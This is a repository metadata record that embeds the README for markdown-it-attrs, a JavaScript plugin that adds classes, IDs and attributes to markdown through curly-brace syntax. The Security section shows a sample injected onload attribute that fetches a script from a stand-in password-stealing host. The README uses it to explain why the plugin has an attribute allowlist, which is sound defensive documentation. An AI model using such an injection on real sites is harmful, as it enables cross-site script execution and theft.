{"id":13426647,"url":"https://github.com/arve0/markdown-it-attrs","last_synced_at":"2025-05-15T11:05:54.279Z","repository":{"id":37692906,"uuid":"39394562","full_name":"arve0/markdown-it-attrs","owner":"arve0","description":"Add classes, identifiers and attributes to your markdown with {} curly brackets, similar to pandoc's header attributes","archived":false,"fork":false,"pushed_at":"2024-12-23T14:48:09.000Z","size":1165,"stargazers_count":309,"open_issues_count":13,"forks_count":62,"subscribers_count":5,"default_branch":"master","last_synced_at":"2025-05-14T18:54:43.657Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/arve0.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2015-07-20T16:15:23.000Z","updated_at":"2025-05-12T19:54:23.000Z","dependencies_parsed_at":"2024-06-18T12:24:13.457Z","dependency_job_id":"199d9b07-ec00-49bf-ac1b-9ee408753d54","html_url":"https://github.com/arve0/markdown-it-attrs","commit_stats":{"total_commits":220,"total_committers":19,"mean_commits":"11.578947368421053","dds":0.2545454545454545,"last_synced_commit":"a77066ccc84c37786f218a618c2bc597f5def1c8"},"previous_names":[],"tags_count":61,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arve0%2Fmarkdown-it-attrs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arve0%2Fmarkdown-it-attrs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arve0%2Fmarkdown-it-attrs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arve0%2Fmarkdown-it-attrs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/arve0","download_url":"https://codeload.github.com/arve0/markdown-it-attrs/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254328385,"owners_count":22052632,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-07-31T00:01:40.019Z","updated_at":"2025-05-15T11:05:54.224Z","avatar_url":"https://github.com/arve0.png","language":"JavaScript","funding_links":[],"categories":["JavaScript","✨究極の Marp スライド作成術✨"],"sub_categories":["`{.class}` で CSS クラスの付与"],"readme":"# markdown-it-attrs [![GitHub actions](https://github.com/arve0/markdown-it-attrs/workflows/ci/badge.svg)](https://github.com/arve0/markdown-it-attrs/actions) [![npm version](https://badge.fury.io/js/markdown-it-attrs.svg)](http://badge.fury.io/js/markdown-it-attrs) [![Coverage Status](https://coveralls.io/repos/github/arve0/markdown-it-attrs/badge.svg?branch=master)](https://coveralls.io/github/arve0/markdown-it-attrs?branch=master) \u003c!-- omit in toc --\u003e\n\nAdd classes, identifiers and attributes to your markdown with `{.class #identifier attr=value attr2=\"spaced value\"}` curly brackets, similar to [pandoc's header attributes](http://pandoc.org/README.html#extension-header_attributes).\n\n# Table of contents \u003c!-- omit in toc --\u003e\n- [Examples](#examples)\n- [Install](#install)\n- [Support](#support)\n- [Usage](#usage)\n- [Security](#security)\n- [Limitations](#limitations)\n- [Ambiguity](#ambiguity)\n- [Custom rendering](#custom-rendering)\n- [Custom blocks](#custom-blocks)\n- [Custom delimiters](#custom-delimiters)\n- [Development](#development)\n- [License](#license)\n## Examples\nExample input:\n```md\n# header {.style-me}\nparagraph {data-toggle=modal}\n```\n\nOutput:\n```html\n\u003ch1 class=\"style-me\"\u003eheader\u003c/h1\u003e\n\u003cp data-toggle=\"modal\"\u003eparagraph\u003c/p\u003e\n```\n\nWorks with inline elements too:\n```md\nparagraph *style me*{.red} more text\n```\n\nOutput:\n```html\n\u003cp\u003eparagraph \u003cem class=\"red\"\u003estyle me\u003c/em\u003e more text\u003c/p\u003e\n```\n\nAnd fenced code blocks:\n\u003cpre\u003e\u003ccode\u003e\n```python {data=asdf}\nnums = [x for x in range(10)]\n```\n\u003c/code\u003e\u003c/pre\u003e\n\nOutput:\n```html\n\u003cpre\u003e\u003ccode data=\"asdf\" class=\"language-python\"\u003e\nnums = [x for x in range(10)]\n\u003c/code\u003e\u003c/pre\u003e\n```\n\nYou can use `..` as a short-hand for `css-module=`:\n\n```md\nUse the css-module green on this paragraph. {..green}\n```\n\nOutput:\n```html\n\u003cp css-module=\"green\"\u003eUse the css-module green on this paragraph.\u003c/p\u003e\n```\n\nAlso works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then):\n\n```md\nparagraph with [a style me span]{.red}\n```\n\nOutput:\n```html\n\u003cp\u003eparagraph with \u003cspan class=\"red\"\u003ea style me span\u003c/span\u003e\u003c/p\u003e\n```\n\n## Install\n\n```\n$ npm install --save markdown-it-attrs\n```\n\n## Support\nLibrary is considered done from my part. I'm maintaining it with bug fixes and\nsecurity updates.\n\nI'll approve pull requests that are easy to understand. Generally not willing\nmerge pull requests that increase maintainance complexity. Feel free to open\nanyhow and I'll give my feedback.\n\nIf you need some extra features, I'm available for hire.\n\n## Usage\n\n```js\nvar md = require('markdown-it')();\nvar markdownItAttrs = require('markdown-it-attrs');\n\nmd.use(markdownItAttrs, {\n  // optional, these are default options\n  leftDelimiter: '{',\n  rightDelimiter: '}',\n  allowedAttributes: []  // empty array = all attributes are allowed\n});\n\nvar src = '# header {.green #id}\\nsome text {with=attrs and=\"attrs with space\"}';\nvar res = md.render(src);\n\nconsole.log(res);\n```\n\n[demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/)\n\n\n## Security\nA user may insert rogue attributes like this:\n```js\n![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}\n```\n\nIf security is a concern, use an attribute whitelist:\n\n```js\nmd.use(markdownItAttrs, {\n  allowedAttributes: ['id', 'class', /^regex.*$/]\n});\n```\n\nNow only `id`, `class` and attributes beginning with `regex` are allowed:\n\n```md\ntext {#red .green regex=allowed onclick=alert('hello')}\n```\n\nOutput:\n```html\n\u003cp id=\"red\" class=\"green\" regex=\"allowed\"\u003etext\u003c/p\u003e\n```\n\n## Limitations\nmarkdown-it-attrs relies on markdown parsing in markdown-it, which means some\nspecial cases are not possible to fix. Like using `_` outside and inside\nattributes:\n\n```md\n_i want [all of this](/link){target=\"_blank\"} to be italics_\n```\n\nAbove example will render to:\n```html\n\u003cp\u003e_i want \u003ca href=\"/link\"\u003eall of this\u003c/a\u003e{target=\u0026quot;\u003cem\u003eblank\u0026quot;} to be italics\u003c/em\u003e\u003c/p\u003e\n```\n\n...which is probably not what you wanted. Of course, you could use `*` for\nitalics to solve this parsing issue:\n\n```md\n*i want [all of this](/link){target=\"_blank\"} to be italics*\n```\n\nOutput:\n```html\n\u003cp\u003e\u003cem\u003ei want \u003ca href=\"/link\" target=\"_blank\"\u003eall of this\u003c/a\u003e to be italics\u003c/em\u003e\u003c/p\u003e\n```\n\n## Ambiguity\nWhen class can be applied to both inline or block element, inline element will take precedence:\n```md\n- list item **bold**{.red}\n```\n\nOutput:\n```html\n\u003cul\u003e\n\u003cli\u003elist item \u003cstrong class=\"red\"\u003ebold\u003c/strong\u003e\u003c/li\u003e\n\u003cul\u003e\n```\n\nIf you need the class to apply to the list item instead, use a space:\n```md\n- list item **bold** {.red}\n```\n\nOutput:\n```html\n\u003cul\u003e\n\u003cli class=\"red\"\u003elist item \u003cstrong\u003ebold\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nIf you need the class to apply to the `\u003cul\u003e` element, use a new line:\n```md\n- list item **bold**\n{.red}\n```\n\nOutput:\n```html\n\u003cul class=\"red\"\u003e\n\u003cli\u003elist item \u003cstrong\u003ebold\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nIf you have nested lists, curlys after new lines will apply to the nearest `\u003cul\u003e` or `\u003col\u003e`. You may force it to apply to the outer `\u003cul\u003e` by adding curly below on a paragraph by its own:\n```md\n- item\n  - nested item {.a}\n{.b}\n\n{.c}\n```\n\nOutput:\n```html\n\u003cul class=\"c\"\u003e\n  \u003cli\u003eitem\n    \u003cul class=\"b\"\u003e\n      \u003cli class=\"a\"\u003enested item\u003c/li\u003e\n    \u003c/ul\u003e\n  \u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThis is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.\n\nSimilar for tables, attributes must be _two_ new lines below:\n```md\nheader1 | header2\n------- | -------\ncolumn1 | column2\n\n{.special}\n```\n\nOutput:\n```html\n\u003ctable class=\"special\"\u003e\n  \u003cthead\u003e\n    \u003ctr\u003e\n      \u003cth\u003eheader1\u003c/th\u003e\n      \u003cth\u003eheader2\u003c/th\u003e\n    \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n    \u003ctr\u003e\n      \u003ctd\u003ecolumn1\u003c/td\u003e\n      \u003ctd\u003ecolumn2\u003c/td\u003e\n    \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n```\n\nWellformed the table's _rowspan_ and/or _colspan_ attributes, usage sample below:\n```md\n| A                       | B   | C   | D                |\n| ----------------------- | --- | --- | ---------------- |\n| 1                       | 11  | 111 | 1111 {rowspan=3} |\n| 2 {colspan=2 rowspan=2} | 22  | 222 | 2222             |\n| 3                       | 33  | 333 | 3333             |\n\n{border=1}\n```\n\nOutput:\n```html\n\u003ctable border=\"1\"\u003e\n  \u003cthead\u003e\n    \u003ctr\u003e\n      \u003cth\u003eA\u003c/th\u003e\n      \u003cth\u003eB\u003c/th\u003e\n      \u003cth\u003eC\u003c/th\u003e\n      \u003cth\u003eD\u003c/th\u003e\n    \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n    \u003ctr\u003e\n      \u003ctd\u003e1\u003c/td\u003e\n      \u003ctd\u003e11\u003c/td\u003e\n      \u003ctd\u003e111\u003c/td\u003e\n      \u003ctd rowspan=\"3\"\u003e1111\u003c/td\u003e\n    \u003c/tr\u003e\n    \u003ctr\u003e\n      \u003ctd colspan=\"2\" rowspan=\"2\"\u003e2\u003c/td\u003e\n      \u003ctd\u003e22\u003c/td\u003e\n    \u003c/tr\u003e\n    \u003ctr\u003e\n      \u003ctd\u003e3\u003c/td\u003e\n    \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n```\n\nIf you need finer control, [decorate](https://github.com/rstacruz/markdown-it-decorate) might help you.\n\n## Custom rendering\nIf you would like some other output, you can override renderers:\n\n```js\nconst md = require('markdown-it')();\nconst markdownItAttrs = require('markdown-it-attrs');\n\nmd.use(markdownItAttrs);\n\n// custom renderer for fences\nmd.renderer.rules.fence = function (tokens, idx, options, env, slf) {\n  const token = tokens[idx];\n  return  '\u003cpre' + slf.renderAttrs(token) + '\u003e'\n    + '\u003ccode\u003e' + token.content + '\u003c/code\u003e'\n    + '\u003c/pre\u003e';\n}\n\nlet src = [\n  '',\n  '```js {.abcd}',\n  'var a = 1;',\n  '```'\n].join('\\n')\n\nconsole.log(md.render(src));\n```\n\nOutput:\n```html\n\u003cpre class=\"abcd\"\u003e\u003ccode\u003evar a = 1;\n\u003c/code\u003e\u003c/pre\u003e\n```\n\nRead more about [custom rendering at markdown-it](https://github.com/markdown-it/markdown-it/blob/master/docs/architecture.md#renderer).\n\n\n## Custom blocks\n`markdown-it-attrs` will add attributes to any `token.block == true` with {}-curlies in end of `token.info`. For example, see [markdown-it/rules_block/fence.js](https://github.com/markdown-it/markdown-it/blob/760050edcb7607f70a855c97a087ad287b653d61/lib/rules_block/fence.js#L85) which [stores text after the three backticks in fenced code blocks to `token.info`](https://markdown-it.github.io/#md3=%7B%22source%22%3A%22%60%60%60js%20%7B.red%7D%5Cnfunction%20%28%29%20%7B%7D%5Cn%60%60%60%22%2C%22defaults%22%3A%7B%22html%22%3Afalse%2C%22xhtmlOut%22%3Afalse%2C%22breaks%22%3Afalse%2C%22langPrefix%22%3A%22language-%22%2C%22linkify%22%3Atrue%2C%22typographer%22%3Atrue%2C%22_highlight%22%3Atrue%2C%22_strict%22%3Afalse%2C%22_view%22%3A%22debug%22%7D%7D).\n\nRemember to [render attributes](https://github.com/arve0/markdown-it-attrs/blob/a75102ad571110659ce9545d184aa5658d2b4a06/index.js#L100) if you use a custom renderer.\n\n## Custom delimiters\n\nTo use different delimiters than the default, add configuration for `leftDelimiter` and `rightDelimiter`:\n\n```js\nmd.use(attrs, {\n  leftDelimiter: '[',\n  rightDelimiter: ']'\n});\n```\n\nWhich will render\n\n```md\n# title [.large]\n```\n\nas\n\n```html\n\u003ch1 class=\"large\"\u003etitle\u003c/h1\u003e\n```\n\n## Development\nTests are in [test.js](./test.js).\n\nRun all tests:\n```sh\nnpm test\n```\n\nRun particular test:\n```sh\nnpm test -- -g \"not crash\"\n```\n\nIn tests, use helper function `replaceDelimiters` to make test run with\ndifferent delimiters (`{}`, `[]` and `[[]]`).\n\nFor easy access to HTML output you can use [debug.js](./debug.js):\n\n```sh\nnode debug.js # will print HTML output\n```\n\nPlease do **not** submit pull requests with changes in package version or built\nfiles like browser.js.\n\n## License\n\nMIT © [Arve Seljebu](http://arve0.github.io/)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farve0%2Fmarkdown-it-attrs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Farve0%2Fmarkdown-it-attrs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farve0%2Fmarkdown-it-attrs/lists"}